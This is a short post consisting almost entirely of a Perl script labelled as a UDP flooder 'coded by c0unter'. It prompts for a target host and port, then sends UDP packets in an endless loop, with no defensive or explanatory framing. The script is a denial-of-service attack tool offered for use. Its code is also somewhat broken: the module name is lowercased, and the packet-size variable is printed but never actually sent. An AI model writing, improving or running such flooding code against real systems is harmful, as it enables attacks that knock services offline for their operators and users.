Código:
#!/usr/bin/perl # udp #flooder.pl coded by c0unter print q{ =========================== = = = Coded By = = = = *c0unter* = = =========================== }; use io::socket; print "Host: "; chop ($host = <stdin>); print "Port: "; chop ($port = <stdin>); { $sock = IO::Socket::INET->new ( PeerAddr => $host, PeerPort => $port, Proto => 'udp') || die "$! Make sure the IP/host or port number is correct"; } packets: while (1) { $size = rand() * 999 * 99999; print ("$host:$port packet size: $size\n"); send($sock, 0, $size); }
Comment